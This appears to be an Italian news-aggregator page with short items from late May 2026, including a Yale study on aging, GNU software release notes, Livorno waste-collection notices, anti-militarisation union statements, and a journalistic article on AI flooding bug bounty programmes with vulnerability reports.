L’autrice dello studio, Becca R. Levy, docente di scienze sociali e comportamentali, ha analizzato i dati di uno studio decennale sugli anziani americani a livello nazionale. La scoperta all’interno del dipartimento di salute della Yale School è che la metà degli adulti di età pari o sopra i 65 anni ha mostrato un miglioramento cognitivo ma anche fisico nel tempo.

In tarda età, molte fatiche della vita come il lavorare, portare pesi e altro vengono limitate. Si tende a faticare meno o a disincentivare il lavoro più pesante. Mente e fisico sicuramente devono affrontare primi problemi di salute. Però, non è una costante e molti anziani, che hanno più tempo libero, possono usufruirne per migliorarsi e migliorare anche le condizioni fisiche.

molti anziani migliorano nel tempo

I dati riconsiderati dell’Health and Retirement Study: anziani dai 65 anni in su seguiti per 12 anni tra attività fisiche e vita quotidiana per scoprire la tendenza al miglioramento

L’analisi di Becca Levy non ha scoperto miglioramenti in piccoli gruppi eccezionali ma in soggetti collegati o accomunati da diversi fattori importanti. Tra questi, anche il non vedere l’invecchiamento per forza come un ostacolo o un decadimento. I risultati sono stati pubblicati sulla rivista Geriatrics e contengono diverse informazioni.

L’Health and Retirement Study è l’indagine longitudinale sugli anziani americani, finanziata a livello federale. Coinvolse 11.000 partecipanti ed è lo studio utilizzato per trarre i dati sulla nuova filosofia dell’invecchiamento. I cambiamenti cognitivi furono valutati considerando funzionalità fisiche come camminata veloce e altre attività. In un follow-up di 12 anni, il 45% dei partecipanti ha registrato miglioramenti in due ambiti di vita. Il 32% ha registrato miglioramenti cognitivi, il 28% miglioramenti fisici.

Queste percentuali non dicono che non ci siano deterioramenti fisici e cognitivi, come dice lo studio stesso: “Se si fa la media di tutti, si nota un declino. Ma quando si considerano le traiettorie individuali, si scopre una storia molto diversa. Una percentuale significativa dei partecipanti più anziani che abbiamo studiato è migliorata“.

Uno studio di Yale scopre cambiamenti positivi negli adulti dai 65 anni in su è stato pubblicato per la prima volta su Lega Nerd. L’utilizzo dei testi contenuti su Lega Nerd è soggetto alla licenza Creative Commons Attribuzione-Non commerciale-Non opere derivate 2.5 Italia License. Altri articoli dello stesso autore: Daniela Giannace

Sostieni A/I anche quest’anno!!!

di: nero
30 Maggio 2026 ore 11:56

Scavando nei meandri dei nostri archivi abbiamo ripescato questa fantastica produzione di ZeroCalcare per sostenere A/I. Ve la rigiriamo a distanza di più di 20 anni, ricordandovi che potete sostenerci in tanti modi, compreso il 5×1000!

PS: rimanete sintonizzati perché all’hackmeeting tornano… LE MAGLIETTE (e le spillette pure, clamoroso!)!

gnutrition @ Savannah: GNUtrition 0.33.0rc4

29 Maggio 2026 ore 20:03

A test release of GNUtrition, 0.33.0rc4, is now available.

GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release improves how user ages are stored and used by GNUtrition. You no longer need to manually update your age every year on (or near) your birthday. Thankfully, no database changes/migrations are necessary for this, you just need to enter your birthday and you will be good to go!

More information about GNUtrition may be found on its home page at http://www.gnu.or ... tware/gnutrition/. This test release can be obtained from the alpha.gnu.org server at one of the following:

    ftp://alpha.gnu.o ... g/gnu/gnutrition/
    http://alpha.gnu. ... g/gnu/gnutrition/
    https://alpha.gnu ... g/gnu/gnutrition/

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

AAMPS/Retiambiente: ancora un bilancio in utile

29 Maggio 2026 ore 16:28

Approvato il bilancio 2025, è il settimo consecutivo. Il Sindaco: “AAMPS orgoglio della città”

Ratificando un utile di 252.000 € l’Assemblea dei Soci di AAMPS ha approvato nei giorni scorsi il bilancio aziendale 2025. Un risultato in linea con quanto registrato negli anni precedenti, comprendendo anche quelli relativi all’uscita anticipata dal concordato preventivo in continuità, con i bilanci che avevano ottenuto analoghi risultati (965.202€ nel 2019, 2.2912.441€ nel 2020, 515.035€ nel 2021, 94.835€ nel 2022, 131.270€ nel 2023 e 145.704 € nel 2024).

La notizia era stata anticipata nei giorni scorsi durante una conferenza stampa dedicata ai bilanci di tutte le aziende partecipate del Comune di Livorno, ma il Sindaco di Livorno Luca Salvetti, affiancato dall’Amministratore Unico Aldo Iacomelli e dalle assessore Viola Ferroni e Giovanna Cepparello, ha tenuto ad aprire un faro su AAMPS/Retiambiente.

Luca Salvetti, Sindaco di Livorno

“Sono orgoglioso di questa azienda, dei servizi che eroga e di tutti i suoi lavoratori. Nel 2019 abbiamo trovato AAMPS in concordato preventivo, con un futuro a dir poco incerto e il rischio concreto di vederla soccombere sotto il peso di conti sballati e servizi alla cittadinanza inadeguati. Ora registriamo l’ennesimo bilancio in utile consecutivo, con il personale incrementato e stabilizzato e prospettive di consolidamento e sviluppo prima impensabili. In tale percorso siamo riusciti a traghettarla in RetiAmbiente consolidandone la vocazione industriale e riuscendo a contenere la TARI senza aumentarla per cinque anni e allineandola agli importi degli altri capoluoghi di provincia della Toscana. Sono i fatti che ci permettono di respingere al mittente le accuse sollevate recentemente da alcuni esponenti dell’opposizione in consiglio comunale ammantate di macroscopiche inesattezze e castronerie indecifrabili sia riconducibili all’azienda sia alla sua holding”.

Viola Ferroni, assessora alle Società Partecipate

“AAMPS ha fatto un incontrovertibile cambio di passo tornando ad essere un’azienda in salute con un ruolo di primo piano sia nell’erogazione dei servizi alla cittadinanza sia tra le società operative locali dell’Ato Toscana Costa che compongono la galassia Retiambiente e dove l’azienda riveste un ruolo di primo piano assoluto. Il cammino è stato impervio con ostacoli che sembravano insormontabili. Oggi siamo invece nella possibilità di guardare al futuro con grande ottimismo e rinnovate prospettive di consolidamento sia sul versante economico-finanziario sia su quello dello sviluppo industriale”.

Giovanna Cepparello, assessora alla Gestione dei rifiuti e Igiene ambientale

“I numeri sono dalla nostra parte e ci dicono che AAMPS può cogliere risultati importanti inerenti la vocazione ambientale che è chiamata a rappresentare ed esprimere. Nonostante mesi di particolare difficoltà, dovuti a contingenze operative affrontate con impegno e sacrificio da parte di tutti, oggi l’azienda può guardare in avanti con rinnovato entusiasmo e approssimarsi ad innovare e introdurre importanti cambiamenti nella gestione dei rifiuti a livello locale in linea con le strategie condivise con le altre SOL del gruppo Retiambiente. Chiederemo ai cittadini la consueta collaborazione con l’obiettivo di aumentare le percentuali di raccolta differenziata, conferendo materiali di maggiore qualità, e allo stesso tempo continuare a diminuire la produzione dei rifiuti nelle rispettive abitazioni”.

Aldo Iacomelli, Amministratore Unico

AAMPS è un fiore all’occhiello di Livorno. Una società interamente pubblica che eroga servizi ambientali a favore della città fin dal 1949 con grande efficacia ed efficienza impegnando 421 lavoratori in moto perpetuo nella raccolta dei rifiuti, nella pulizia delle strade e nei servizi cimiteriali e commerciali. Tutto questo con i conti sotto controllo suffragati anche dall’assenza di debiti e avendo comunque effettuato importanti investimenti, attingendo a finanziamenti dedicati, senza fare ricorso al credito bancario. Il tutto nella massima trasparenza richiesta ad una società in house providing in affiancamento alla sua holding con la quale condividere strategie industriali ben ponderate”.

L'articolo AAMPS/Retiambiente: ancora un bilancio in utile proviene da Aamps Livorno.

Rifiuti: quali servizi nella festività del 2 giugno

27 Maggio 2026 ore 10:39

Alla raccolta solo alcune modifiche nelle aree Livorno Est e Picchianti-Porta a Terra

In vista della festività di martedì 2 giugno AAMPS/Retiambiente conferma che il servizio di raccolta dei rifiuti si svolgerà regolarmente. Sono previsti solo alcuni cambiamenti negli itinerari di interesse per gli abitanti delle aree Livorno Est e Picchianti-Porta a Terra.

Ecco il dettaglio suddiviso per Aree valido per la raccolta nel giorno della Festa della Repubblica:

Area Livorno Nord
Indifferenziato: servizio attivo con esposizione del materiale dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta.

Area Sant’Jacopo Marradi
Il calendario ordinario non prevede il servizio di raccolta il lunedì.

Area Vittoria Stazione Zola
Carta-cartone: servizio attivo con esposizione del materiale dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta.

Area Livorno est
Organico: servizio anticipato alla mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta).

Area Picchianti – Porta a Terra
Organico: servizio anticipato alla mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta).

Area Ardenza – La Rosa
Organico: servizio attivo la mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta).

Livorno Sud
Carta-cartone: servizio attivo con esposizione del materiale dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta.

Pentagono

Multimateriale: servizio attivo con esposizione del materiale dalle ore 19.30 alle 20.00 del giorno di raccolta.

Aree Pentagono e Centro Allargato
Tutti i contenitori stradali presenti nelle aree “Pentagono” e “Centro Allargato” saranno regolarmente vuotati. Il Centro di raccolta “Livorno Sud” e il “Centro del riuso creativo” saranno chiusi martedì e riapriranno il giorno seguente. Servizio di raccolta pannolini/pannoloni: non effettuato nei giorni festivi.

Ringraziamo i cittadini per la consueta collaborazione. Per ulteriori informazioni: 800-031.266, info@aamps.livorno.it, facebook/instagram/APP (“AAMPS Livorno”).

 

L'articolo Rifiuti: quali servizi nella festività del 2 giugno proviene da Aamps Livorno.

COMUNICATO USB Federazione di Pisa – ADESIONE ALLA MANIFESTAZIONE “NO BASE” DEL 2 GIUGNO A PONTEDERA

29 Maggio 2026 ore 09:40

L’Unione Sindacale di Base aderisce e partecipa alla manifestazione “No Base” del 2 giugno a Pontedera, una mobilitazione necessaria contro la militarizzazione dei territori, contro l’economia di guerra e contro le politiche imperialiste portate avanti dal governo italiano, dall’Unione Europea e dagli Stati Uniti.


Da anni USB è impegnata nelle lotte contro la guerra, contro il riarmo e contro l’utilizzo dei porti, delle infrastrutture logistiche e dei territori come strumenti della macchina bellica. Lo abbiamo fatto organizzando scioperi, presidi e mobilitazioni nei porti italiani contro il traffico di armi e contro il coinvolgimento dell’Italia nei conflitti imperialisti.


Abbiamo sostenuto e promosso mobilitazioni internazionali dei lavoratori portuali contro il traffico di armi e contro il genocidio del popolo palestinese, ribadendo che i porti non devono essere al servizio della guerra e della morte.
Oggi più che mai è evidente il legame tra militarizzazione dell’economia, attacco ai diritti sociali e peggioramento delle condizioni materiali delle lavoratrici e dei lavoratori. Mentre miliardi vengono destinati alle spese militari, ai programmi di riarmo e alla Nato, salari, pensioni, sanità, scuola e servizi pubblici vengono sacrificati sull’altare della guerra e del profitto.


Per questo diciamo con forza:
GIÙ LE ARMI, SU I SALARI


La costruzione di nuove basi militari, l’espansione delle servitù militari e la subordinazione dei territori agli interessi strategici della Nato rappresentano un attacco diretto alle esigenze sociali delle classi popolari. Le lavoratrici e i lavoratori non possono pagare il prezzo della guerra, del carovita e delle politiche imperialiste.


USB denuncia il genocidio in Palestina e la complicità del governo italiano, dell’Unione Europea e degli Stati Uniti nel sostegno politico, economico e militare a Israele. Allo stesso tempo respingiamo le aggressioni economiche, politiche e militari contro i popoli che resistono all’ordine imperialista, dall’attacco permanente contro Cuba e Venezuela e l’attacco all’Iran.
La guerra esterna si accompagna sempre alla guerra interna contro il lavoro, contro il conflitto sociale e contro il diritto di sciopero. La militarizzazione produce repressione, precarietà e impoverimento, mentre grandi gruppi industriali e finanziari aumentano i propri profitti grazie all’economia di guerra.
Per queste ragioni saremo in piazza il 2 giugno a Pontedera insieme ai movimenti territoriali, alle realtà sociali e a tutte e tutti coloro che si oppongono alla guerra, all’imperialismo e alla militarizzazione dei territori.


NO ALLA BASE MILITARE
NO ALL’ECONOMIA DI GUERRA
NO ALL’IMPERIALISMO
STOP AL GENOCIDIO IN PALESTINA
GIÙ LE ARMI, SU I SALARI

gnutrition @ Savannah: GNUtrition 0.33.0rc3

29 Maggio 2026 ore 03:50

A test release of GNUtrition, 0.33.0rc3, is now available.

GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release removes a number of dependencies that broke building/installing on various systems. You no longer need to have a full LibreOffice, ncurses, SQLite, or LaTeX/TexInfo install to build and install GNUtrition.

More information about GNUtrition may be found on its home page at http://www.gnu.or ... tware/gnutrition/. This test release can be obtained from the alpha.gnu.org server at one of the following:

    ftp://alpha.gnu.o ... g/gnu/gnutrition/
    http://alpha.gnu. ... g/gnu/gnutrition/
    https://alpha.gnu ... g/gnu/gnutrition/

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

Going Low and Slow in Testing

28 Maggio 2026 ore 18:02
NASA’s X-59 quiet supersonic research aircraft flies above NASA’s Armstrong Flight Research Center in Edwards, California, during testing focused on lower-speed and altitude flight conditions in support of NASA’s Quesst mission. NASA continues to include two-flight days in its envelope expansion as teams work to better understand how the aircraft responds throughout its operating range.

Il 78% delle aziende ha già subito o sospetta incidenti legati all’IA

28 Maggio 2026 ore 13:20

A leggere il nuovo “2026 Cloud Security Report” realizzato da Check Point insieme a Cybersecurity Insiders, sembra proprio che l’adozione dell’intelligenza artificiale nelle aziende stia crescendo più rapidamente della capacità delle organizzazioni di proteggerla. Il report, basato sulle risposte di 1.042 professionisti IT e cybersecurity provenienti da organizzazioni di tutto il mondo, mostra un quadro […]

L'articolo Il 78% delle aziende ha già subito o sospetta incidenti legati all’IA proviene da Securityinfo.it.

Students Build Moon Robots for NASA’s 2026 Lunabotics Challenge

27 Maggio 2026 ore 17:46
Katherine Rauscher, of Michigan Technological University, prepares her team’s prototype lunar robot for its turn during the finals for NASA’s 2026 Lunabotics Challenge competition on Tuesday, May 19, 2026, inside the Astronauts Memorial Foundation’s Center for Space Education at the Kennedy Space Center Visitor Complex in Florida. Forty-seven teams from around the U.S. designed and built remote-controlled robots capable of traversing challenging lunar terrain while constructing regolith-based berm under conditions similar to those the agency will face as it returns to the lunar surface through Artemis.

BAOFENG UV-5R 25TH ANNIVERSARY - Edizione Trasparente da Collezione! Recensione Completa

27 Maggio 2026 ore 12:30

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In questo video scopriamo la nuova BAOFENG UV-5R 25TH ANNIVERSARY LIMITED EDITION!

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La fine del bug bounty?

27 Maggio 2026 ore 11:00

Immagine in evidenza rielaborata con intelligenza artificiale (ChatGPT)

L’applicazione dell’intelligenza artificiale nella cybersicurezza genera, da sempre, sentimenti contrastanti. Le potenzialità dell’AI rappresentano, da una parte, un’opportunità per migliorare il livello di automazione nelle attività di rilevamento e risposta agli attacchi dei criminali informatici. L’altra faccia della medaglia è rappresentata dalla possibilità che gli stessi cybercriminali ne sfruttino le capacità per aumentare l’efficacia degli attacchi.

È qualcosa che sta già accadendo e che viene messo nero su bianco, per esempio, nel Global Threat Report 2026 di CrowdStrike. Stando ai dati pubblicati dalla società di cybersecurity, gli attacchi portati utilizzando l’AI sarebbero aumentati dell’89% anno su anno.

Ma l’impatto dell’AI non si esaurisce negli attacchi veri e propri. La stessa tecnologia che li accelera sta mettendo sotto pressione, in particolare, l’ecosistema che fino a oggi ha garantito l’attività di identificazione e analisi delle vulnerabilità software. In altre parole, l’AI sta rompendo gli equilibri che per anni hanno permesso di mitigare il rischio di attacchi informatici. 

Come funziona la vulnerability discovery

Per comprendere l’impatto dell’AI in questo particolarissimo settore è indispensabile comprenderne i meccanismi. La vulnerability discovery è infatti una macchina complicata, in cui si intrecciano interessi diversi e convivono varie contraddizioni. 

Il concetto alla base del sistema è quello di individuare eventuali falle di sicurezza di software e sistemi operativi prima che questi vengano scovati dai cyber criminali. Un’attività che vede impegnate centinaia (migliaia) di aziende e ricercatori indipendenti, spesso all’interno dei cosiddetti programmi di bug bounty, cioè processi controllati attraverso i quali gli sviluppatori ricompensano economicamente chi segnala una nuova vulnerabilità potenzialmente pericolosa, permettendo loro di correggerla attraverso patch di aggiornamento. 

L’importanza del fattore tempo emerge proprio nella fase finale del processo di responsible disclosure, quando vengono rilasciati l’aggiornamento e i dettagli della vulnerabilità. È in questo momento che si apre una finestra temporale particolarmente delicata: quella in cui un cybercriminale può sfruttare la vulnerabilità creando un exploit (la tecnica che permette di portare un attacco) in grado di “bucare” i sistemi non aggiornati. 

Fino a oggi, il tempo necessario per realizzare il codice che sfrutta una falla di sicurezza per portare un attacco era, nella maggior parte dei casi, di settimane o al massimo di qualche giorno. Un margine sufficiente perché gli aggiornamenti venissero distribuiti. Di conseguenza, il rischio che qualcuno rimanesse “scoperto” era relativamente basso.

A causa degli strumenti basati su intelligenza artificiale generativa, però, le cose sono cambiate. Utilizzando l’AI è possibile realizzare un exploit con una velocità prima impensabile. Secondo i ricercatori di sicurezza Efi Weiss e Nahman Khayet, autori di un progetto dedicato, per creare un exploit con l’AI partendo da una vulnerabilità nota sarebbero sufficienti anche solo 15 minuti. 

Un’ondata di segnalazioni

Lo scorso 7 aprile, un comunicato ufficiale di Anthropic ha scosso il settore della cybersecurity. Oggetto dell’annuncio era il nuovo large language model Claude Mythos Preview, che gli sviluppatori dell’azienda californiana hanno sostanzialmente classificato come uno strumento troppo pericoloso per essere distribuito pubblicamente. Il motivo? Il nuovo LLM sarebbe in grado di individuare vulnerabilità all’interno dei software con un’efficacia senza precedenti. Rilasciarlo pubblicamente, di conseguenza, sarebbe troppo rischioso.

L’azienda ha quindi deciso di avviare un progetto, battezzato con il nome di Project Glasswing, che coinvolge un numero limitato di soggetti come Microsoft, Apple, Google, AWS, Cisco, Nvidia e Linux Foundation. Qualche controindicazione, però, è emersa quasi subito. Lo stesso giorno dell’annuncio, il 7 aprile, un gruppo riunito in un forum Discord privato è riuscito ad accedere a Mythos — non con un attacco sofisticato, ma combinando le credenziali del dipendente di un fornitore terzo con un’ipotesi azzeccata sull’URL del modello. La vicenda è emersa pubblicamente circa due settimane dopo, grazie a un’inchiesta di Bloomberg. Considerato che Mythos era stato tratteggiato come una sorta di “arma fine di mondo”, con accesso soggetto a strettissime restrizioni, non si tratta proprio di un esordio rassicurante.

Al netto del sensazionalismo dell’annuncio, che secondo molti rappresenta un marchio di fabbrica del marketing di Anthropic, la vicenda di Claude Mythos Preview si inserisce in un fenomeno più ampio, che gli esperti di sicurezza informatica stanno segnalando da tempo come estremamente problematico: la crescita esponenziale del numero di vulnerabilità segnalate.

In sintesi, il problema non è tanto la possibilità che i gruppi dediti al cyber crimine riescano a sfruttare gli LLM avanzati per individuare nuove vulnerabilità zero-day (falle di sicurezza ancora sconosciute), quanto il fatto che l’implementazione di strumenti automatizzati per l’analisi dei software sta generando troppe segnalazioni rispetto a quelle che gli sviluppatori sono in grado di gestire. 

Una cosa, infatti, è individuare una falla. Un’altra è correggere il codice per eliminare il rischio che la vulnerabilità venga sfruttata per portare un attacco. Qualsiasi aggiornamento di un software o – a maggior ragione – di un sistema operativo richiede infatti una serie di verifiche e test per validarne l’efficacia e, non ultimo, escludere eventuali conflitti o “effetti collaterali” indesiderati nel suo funzionamento. Insomma: rimediare a una vulnerabilità richiede più impegno e più tempo rispetto a sfruttarla per scopi malevoli.

Il fattore tempo

A livello intuitivo, si potrebbe pensare che questo squilibrio tra il numero di segnalazioni e la capacità di elaborarne il contenuto possa avere come conseguenza un semplice rallentamento delle operazioni. Non è così.

Per prassi consolidata, infatti, il processo di responsible disclosure prevede che al destinatario della segnalazione sia concesso un termine – solitamente di 60-90 giorni – entro il quale deve rilasciare l’aggiornamento. Trascorso il termine, chi ha inviato la segnalazione è autorizzato a rendere pubblici i dettagli della vulnerabilità.

Si tratta di un accorgimento che ha un duplice obiettivo. Il primo è quello di evitare che lo sviluppatore possa “snobbare” la segnalazione, anche solo per negare il meritato compenso del ricercatore che l’ha effettuata. La seconda è quella di ridurre il rischio che qualcun altro scopra la falla o che questa diventi pubblica per un qualsiasi motivo prima che l’aggiornamento sia disponibile. 

Anche se piuttosto rari, in passato si sono verificati casi in cui gli sviluppatori non sono riusciti a rispettare la scadenza e si sono trovati di fronte a una pubblicazione dei dettagli di una vulnerabilità quando non avevano ancora preso le dovute contromisure. Nel nuovo scenario, in cui le segnalazioni piovono a una velocità impressionante, rispettare le scadenze rischia di diventare molto più difficile.

I primi scricchiolii

La cronaca recente conferma tutti i timori legati al massiccio impiego dell’AI nell’individuazione delle vulnerabilità. La società di cybersecurity HackerOne ha sospeso il suo programma Internet Bug Bounty (IBB), attività finanziata in crowdfunding che gestisce dal 2013. Il motivo? L’eccessivo numero di segnalazioni stava mettendo in difficoltà chi ha il compito di correggere il codice del software. E questo soprattutto in ambito open source, dove la gestione dei progetti è spesso affidata a programmatori che prestano la loro opera a titolo volontario. 

La pagina web di HackerOne è un perfetto riassunto dei problemi che vive il settore. Nelle sue policy, spiega che ricompenserà solo quelle vulnerabilità che “siano state segnalate in modo responsabile, riconosciute, analizzate (triage), risolte e divulgate tramite un Security Advisory o una CVE (Common Vulnerabilities and Exposures, un sistema di catalogazione pubblico e standardizzato delle vulnerabilità di sicurezza informatica note – ndR). Se una vulnerabilità viene segnalata da più persone ed è riconosciuta all’interno del security advisory, solo il primo segnalatore (come identificato dai maintainer del progetto) avrà diritto alla ricompensa”.

In questo passaggio si leggono tutte le criticità legate a un ecosistema che è ormai andato fuori controllo. Traducendo dal “politically correct” adottato nelle policy, HackerOne ammette di trovarsi in una situazione in cui vengono segnalate vulnerabilità che non sono state sufficientemente approfondite, che in molti casi vengono scovate da più soggetti e per le quali non viene fornita una soluzione. Insomma: si trova ad avere a che fare con troppo “pattume” generato dall’AI. Motivazioni simili hanno indotto la piattaforma Bugcrowd a introdurre una serie di regole e restrizioni per contrastare il fenomeno che hanno battezzato come “sloptimism” (segnalazioni basate su AI inviate con troppa fiducia e poca verifica). 

L’AI trova vere vulnerabilità?

Guardando più nel dettaglio il fenomeno, emerge anche un altro dato. A gennaio 2026 i volontari che gestiscono cURL – software open source che gestisce lo scambio di dati con Internet e che, pur sconosciuto al grande pubblico, è installato in miliardi di dispositivi (telefoni, automobili, TV) – hanno annunciato che dal mese successivo avrebbero smesso di accettare segnalazioni tramite HackerOne. In un aggiornamento pubblicato ad aprile, il creatore Daniel Stenberg ha diffuso un grafico da cui emerge una tendenza abbastanza chiara: nonostante da febbraio non sia stata accettata alcuna segnalazione, il totale del 2026 era già arrivato a 87.

Al di là della crescita esponenziale di segnalazioni, spicca il fatto che nel 2025 sono stati registrati numerosi report classificati come “likely AI slop” (probabile pattume AI), cioè vulnerabilità di bassissimo impatto o inventate dall’intelligenza artificiale. Il loro numero, però, è diminuito percentualmente nel corso dell’anno successivo.

Prima di considerare questi dati come confortanti, è però opportuno considerare un altro aspetto: non tutte le vulnerabilità validate rappresentano un reale rischio di sicurezza. Come spiega Naz Bozdemir in un post sul blog di HackerOne, delle 22 vulnerabilità individuate da Claude Opus 4.6 nel codice di Mozilla Firefox – 14 delle quali ad alta gravità – soltanto due si sono rivelate effettivamente sfruttabili per costruire un exploit. In altre parole: erano tutte difetti reali, ma solo due rappresentavano un rischio imminente e concreto.

L’idea che una maggiore efficienza porti automaticamente a più sicurezza, alla fine, si sta rivelando un’illusione. L’uso intensivo dell’AI sta dimostrando esattamente il contrario: senza la capacità di selezionare, comprendere e intervenire, rischia di generare semplicemente caos.

L'articolo La fine del bug bounty? proviene da Guerre di Rete.

Proiezione del film “C’è ancora domani” di Paola Cortellesi, presso il Cinema Teatro 4 Mori

27 Maggio 2026 ore 09:20

Proiezione del film "C'è ancora domani" di Paola Cortellesi, presso Cinema Teatro 4 Mori

In occasione dell’80º anniversario della Repubblica italiana e del voto alle donne, ISTORECO, insieme ad ANPI, ANPPIA, ANED e al Cinema Teatro 4 Mori, invita la cittadinanza alla proiezione del film C’è ancora domani di Paola Cortellesi, che si terrà lunedì 1 giugno 2026 alle ore 21 presso il Cinema Teatro

4 Mori di Livorno con ingresso gratuito.

 

C’è ancora domani racconta, con forza e sensibilità, la condizione femminile nell’Italia del dopoguerra con una narrazione incentrata su una figura del popolo vessata in famiglia dall’atteggiamento arrogante e violento del marito e del suocero, due esemplari del peggiore, ed ancora attuale, patriarcato. Il marito non desidera che la moglie vada a votare e la protagonista si organizza per esercitare questo nuovo diritto. Prima tappa di un lungo cammino verso il riconoscimento dei diritti, da quello del voto, a quello della parità salariale per eguale lavoro, a quello dell’aborto, così come il diritto di ricoprire qualsiasi ruolo nell’ amministrazione dello Stato.

Riproporlo significa sollecitare una riflessione su quanto quella conquista abbia trasformato il Paese e su quanto ancora sia necessario impegnarsi per una piena ed egualitaria cittadinanza democratica.

La serata sarà introdotta dai saluti delle autorità e dal Presidente di ISTORECO, Claudio Massimo Seriacopi. Seguiranno un intervento di Catia Sonetti, Direttrice di ISTORECO, e della Prof.ssa Chiara Tognolotti, storica del cinema (Università di Pisa).

No alla logistica della guerra - Sulla mozione contro i transiti di armi nel porto di Piombino approvata ieri dal Consiglio Comunale

27 Maggio 2026 ore 09:10

Fonte foto: Wikimedia Commons, https://upload.wikimedia.org/wikipedia/commons/3/3e/Panorama_porto_di_piombino.JPG?utm_source=it.wikipedia.org&utm_campaign=index&utm_content=original 

 

Oggi la nostra città si è risvegliata con una bella notizia: le istituzioni di Piombino hanno formalmente cominciato a prendere posizione contro la crescita delle attività di carico e scarico di armi, mezzi militari ed altro materiale ad uso bellico nel nostro porto. La votazione favorevole del Consiglio Comunale di una mozione chiara e netta al riguardo (mozione presentata dai consiglieri di Rifondazione Comunista Fabrizio Callaioli e Dario Filippi, che ci teniamo a ringraziare) rappresenta senza dubbio un passo avanti, un passaggio figlio di un lungo percorso e che dovrà accompagnare una lotta che non è ovviamente finita.

Diverse realtà cittadine (tra cui anche il nostro sindacato e ovviamente il gruppo delle Donne in Nero) si sono lungamente spese perché la politica cittadina prendesse posizione e si attivasse concretamente contro il progressivo scivolare delle attività portuali verso l'ambito militare. Il voto di ieri dimostra che non è vero che lottare e protestare non serve a niente. Un comunicato, una manifestazione, un convegno, se isolati, spostano ben poco. Se uniti e capaci di durare nel tempo, possono invece riuscire a far pressione sulle istituzioni e a smuoverle. Una piccola ma utile lezione che pensiamo possa tornare utile anche rispetto a molti altri terreni di lotta.
Per parte nostra, consideriamo il voto di ieri anche un frutto positivo dell'aver lavorato affinché l'opposizione ai movimenti di armi nel porto non andasse separata da quella contro il rigassificatore, riuscendo a portare questa saldatura di lotte anche nella manifestazione cittadina dell'11 aprile scorso.

Né a Piombino né altrove

Le ragioni per opporsi al carico e scarico di armi (che siano per esercitazioni o che siano dirette verso veri e propri scenari di guerra, come nel caso della nave partita da Piombino lo scorso 30 marzo e diretta verso l'Arabia Saudita) indicate dalla mozione, sono lo stesse che come USB sosteniamo da tempo, sia a livello nazionale che in relazione al contesto di Piombino. Motivi etici e politici generali innanzitutto. Motivi di sicurezza per i lavoratori e la città, vista anche la vicina presenza del rigassificatore, (peraltro potenziale obiettivi sensibile in caso di guerra). Ma anche specificamente legati alla crisi economica e produttiva del nostro territorio. Non è un caso che l'Esercito Italiano e il Ministero della Difesa sembrino intenzionati a rendere Piombino un Hub militare. Un contesto sociale sofferente, segnato da disoccupazione e cassa integrazione si traduce in una popolazione più ricattabile e in un territorio sacrificabile, a cui si può propinare di tutto in cambio di una manciata anche piccola di posti di lavoro. E infatti dopo la discarica e dopo il rigassificatore abbiamo avuto anche la logistica della guerra. Così non si può andare avanti.

Per noi continua ad essere cruciale capire che o si interrompe questa spirale di ricatto e di declino, pretendendo dalla politica scelte opposte e coraggiose (come la nazionalizzazione delle acciaierie, ad esempio), o il prezzo da pagare sarà sempre più alto. E che solo una mobilitazione reale e sentita da parte di lavoratori e cittadini, con l'appoggio di forze sociali e politiche solidali e determinate può allontanare questa brutta prospettiva.

Dire No alla militarizzazione del porto di Piombino significa per noi tenere aperta la possibilità di un vero rilancio e potenziamento della sua funzione civile e commerciale, la sola che può garantire vere ricadute positive in termini di sviluppo economico e di posti di lavoro. Dire No alla logistica e all'economia della guerra significa cioè stare dalla parte di Piombino e del suo diritto al futuro.

Non ci illudiamo e invitiamo a non illudersi. Molto è ancora da fare per ostacolare e e interrompere il va e vieni di queste navi. Ma la mozione approvata ieri è un piccolo strumento in più a disposizione di chi vorrà tentare di farlo, sapendo che altrove questo è stato già possibile. Dimostrare con sempre maggiore incisività che Piombino rifiuta di diventare un Hub militare è la difficile sfida che abbiamo davanti, sfida a cui non ci sottrarremo.

USB Piombino

parallel @ Savannah: GNU Parallel 20260522 ('Hantavirus') released

26 Maggio 2026 ore 22:55

GNU Parallel 20260522 ('Hantavirus') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

  ...and GNU Parallel is fun.
    -- DJviolin@reddit

New in this release:

  • --fast rewritten. 1 million jobs in 10 seconds. Try: seq 1000000 | time parallel --fast echo | wc -l
  • Bug fixes and man page updates.


GNU Parallel - For people who live life in the parallel lane.

If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.


About GNU Parallel


GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.

If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.

GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.

For example you can run this to convert all jpeg files into png and gif files and have a progress bar:

  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif

Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:

  find . -name '*.jpg' |
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200

You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/

You can install GNU Parallel in just 10 seconds with:

